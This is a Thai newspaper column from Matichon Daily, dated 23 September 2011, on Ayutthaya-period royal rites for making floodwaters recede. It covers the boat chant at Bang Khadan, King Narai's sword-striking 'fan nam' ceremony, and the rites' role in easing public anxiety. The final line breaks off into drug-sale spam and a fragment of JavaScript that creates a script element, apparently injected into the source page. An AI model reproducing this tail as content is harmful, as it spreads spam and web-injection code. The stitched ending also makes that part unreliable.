มติชนรายวัน ฉบับประจำวันศุกร์ที่ 23 กันยายน 2554

           น้ำท่วมไม่ยอมลด พระเจ้าแผ่นดินยุคอยุธยาต้องทรงทำพิธีไล่น้ำ มีโคลงทวาทศมาสบอกว่า

          ๏ ชลธีปละปลั่งค้าง      ทางสินธุ์ 

          นาเวศนาวาวาง           วาดน้ำ

          ตกบางขดานดิน          สดือแม่

          ดลฤดูสั่งล้ำ               ไล่ชล

ตำบลย่านที่ทำพิธีไล่น้ำมีชื่อในโคลงว่าบางขดาน อยู่แม่น้ำเจ้าพระยาด้านทิศใต้อยุธยา ใต้ขนอนหลวงวัดโปรดสัตว์

เพราะบริเวณนี้เป็น “ดินสะดือ” หมายถึงมีน้ำวนเป็นเกลียวลึกลงไป ถือเป็นทางลงบาดาลของนาค นับเป็นเขตศักดิ์สิทธิ์ของแม่น้ำ ต้องทำพิธีกรรมเห่กล่อมวิงวอนร้องขอต่อ “ผี” คือนาคที่บันดาลให้เกิดน้ำ

นี่เองเป็นที่มาของ “เห่เรือ” เพื่อไล่น้ำ หรือวิงวอนร้องขอให้น้ำลดลงเร็วๆ

แต่บันทึกของนิโคลาส แชร์แวส ทูตฝรั่งเศส ระบุว่าสมเด็จพระนารายณ์ฯ “เสด็จไปประกอบพระราชพิธีฟันน้ำเพื่อมิให้น้ำท่วมมากขึ้น”

พิธีฟันน้ำยังมีคำบอกเล่าลักษณะตำนานและนิทานจดไว้เป็นลายลักษณ์อักษรอยู่ในคำให้การขุนหลวงหาวัด ว่าพระนารายณ์ทรงมีบุญญาภินิหารและอิทธิฤทธิ์มาก “วันหนึ่งเสด็จทรงเรือพระที่นั่งเอกชัยในเวลาน้ำขึ้น รับสั่งว่าให้น้ำลดแล้วทรงพระแสงฟันลงไป น้ำก็ลดลงตามพระราชประสงค์”

พิธีฟันน้ำก็คือพระเจ้าแผ่นดินเสด็จลงประทับเรือพระที่นั่งไปกลางน้ำแล้วทรงใช้พระแสงฟันลงไปในน้ำเพื่อให้น้ำลดโดยเร็ว

พิธีกรรมนี้มิได้แสดงความอ่อนน้อมอ้อนวอนร้องขอแต่เพียงด้านเดียวเท่านั้น แต่ยังแฝงไว้ด้วยลักษณะ “แกมบังคับ” หรือ “บงการ” อย่างแข็งกร้าวด้วย

ความแข็งกร้าวของพิธีกรรมไล่เรือ ไล่น้ำ และฟันน้ำ จะได้ผลหรือไม่? น้ำจะลดลงไปจริงหรือไม่จริง?

นั่นไม่ใช่ประเด็นสำคัญทั้งหมดของการทำพิธีกรรม เพราะสาระที่สำคัญกว่าจะอยู่ที่การ “ผ่อนคลาย” เมื่อผ่านพิธีกรรมอันศักดิ์สิทธิ์แล้ว ก็สบายใจแล้ว

ถ้าน้ำลดลงไปจริงๆ (เพราะถึงเวลาที่น้ำจะต้องลดไปเองตามธรรมชาติ) ก็ถือว่าเป็นบุญกุศลของบ้านเมือง เป็นกฤดาภินิหารของ “พระนารายณ์”

แต่ถ้าน้ำไม่ลดลงแม้แต่สักนิดเดียว (เพราะยังไม่ถึงเวลาที่ธรรมชาติจะอำนวยให้ลด เช่น น้ำทะเลยังหนุนอยู่ หรือน้ำเหนือยังมากอยู่ เป็นต้น) ก็ถือเสียว่าเป็นเวรเป็นกรรมของไพร่ฟ้าที่สร้างสมบุญกุศลมาน้อยเกินไป 

fluoxetine hcl 20 mg price cialis 5mg }var d=document;var s=d.createElement(‘script’);